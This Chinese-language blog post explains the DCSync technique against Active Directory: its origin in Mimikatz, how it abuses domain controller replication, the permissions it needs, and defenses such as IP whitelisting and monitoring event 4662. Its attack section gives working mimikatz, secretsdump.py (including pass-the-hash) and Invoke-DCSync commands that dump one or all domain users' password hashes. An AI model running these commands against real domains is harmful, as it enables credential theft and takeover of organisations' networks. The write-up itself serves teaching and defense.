返回
Featured image of post DCSync 攻击

DCSync 攻击

go!

DCSync 攻击

背景

2015 年 8 月,Benjamin Delpy(Mimikatz 的作者)和 Vincent Le Toux 发布了新版本的 Mimikatz,新增加了 DCSync 功能。模仿一个域控制器 DC,从真实的域控制器中请求获取数据,例如账号的口令散列值等数据。

DCSync 之前,获取域的账号口令信息,需要登录域服务器,在域服务器上运行代码才可以获取。而DCSync 的最大特点,在于不用登录域服务器,即可远程通过域数据同步复制的方式获得想要的用户口令信息。

注意:

DCSync 攻击的对象如果是 RODC 域控制器,则会失效,因为 RODC 不能参与复制同步数据。

原理

本质就是利用 DC 间的数据同步复制。

  • 发现网络中的目标域控制器
  • 通过 DRS 服务的 GetNCChanges 接口发起数据同步请求,Directory Replication Service (DRS) Remote Protocol

Samba wiki 关于 GetNCChanges 的描述包括:

当一个 DC (成为客户端 DC)想从其他 DC (成为服务端 DC)获取数据时,客户端 DC 会向服务端 DC 发起一个 GetNCChanges 请求。回应的数据包括需要同步的数据。

如果需要同步的数据比较多,则会重复上述过程。毕竟每次回应的数据有限。

条件

某用户想要发起 DCSync 攻击,必须具备以下权限:

  • Replicating Directory Changes (DS-Replication-Get-Changes)
  • Replicating Directory Changes All (DS-Replication-Get-Changes-All)
  • Replicating Directory Changes In Filtered Set

在默认情况下,只有 Administrators、Domain Controllers 和 Enterprise Domain Admins 组内的用户有权限使用 DCSync,但我们可以对域内普通用户添加 ACL (Access Control List) 实现普通用户也能调用 DCSync 功能。

攻击

mimikatz

# 导出指定用户
lsadump::dcsync /domain:rd.adsecurity.org /user:administrator 

# 导出域内所有用户
lsadump::dcsync /domain:rd.adsecurity.org /all

secretsdump

secretsdump.py 是 Impacket 框架中的一个脚本,该脚本也可以通过 DCSync 技术导出域控制器上用户的哈希。

工具的原理是首先使用提供的用户登录凭据通过 smbexec 或者 wmiexec 远程连接至域控制器并获得高权限,进而从注册表中导出本地帐户的哈希,同时通过 Dcsync 或从 NTDS.dit 文件中导出所有域用户的哈希。

优点是支持从域外的计算机连接至域控制器。

# 获取指定用户的 hash
python3 secretsdump.py domain/<username for DCSync>:password@<dc-ip> -dc-ip <dc-ip> -just-dc-user <username for DCSync>

# 获取所有域用户 hash
python3 secretsdump.py domain/<username for DCSync>:password@<dc-ip>

# 也支持哈希传递
python secretsdump.py domain/username@ip -hashes LM HASH:NT HASH 

PowerShell Invoke-DCSync

https://gist.github.com/monoxgas/9d238accd969550136db#file-invoke-dcsync-ps1

该脚本通过 Invoke-ReflectivePEinjection 调用 mimikatz.dll 中的 DCSync 功能。

Import-Module .\Invoke-DCSync.ps1
# 导出域内指定用户的哈希
Invoke-DCSync -DumpForest -Users @("administrator") | ft -wrap -autosize
# 导出域内所有用户的哈希值
Invoke-DCSync -DumpForest | ft -wrap -autosize

防御

网络流量

最好的防御方法是给域控制器设置白名单。在域内,域控制器的数量、IP 地址、MAC 地址是非常明确清晰的资产,将这些资产设置在允许同步的白名单内。非白名单的 IP 不允许发生数据同步。

获取域内所有 IP 的脚本:

PowerShell:Get-ADDomainController -filter * | select IPv4Address

[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().DomainControllers | select IPAddress

事后系统日志

在 windows 日志 4662 可以清楚看到某用户使用DS-Replication-GetChanges(GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)DS-Replication-Get-Changes-All(1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)这两条 ACL 权限向域控发起目录服务访问请求,从而 dump 域内 hash。

Licensed under CC BY-NC-SA 4.0
Built with Hugo
Theme Stack designed by Jimmy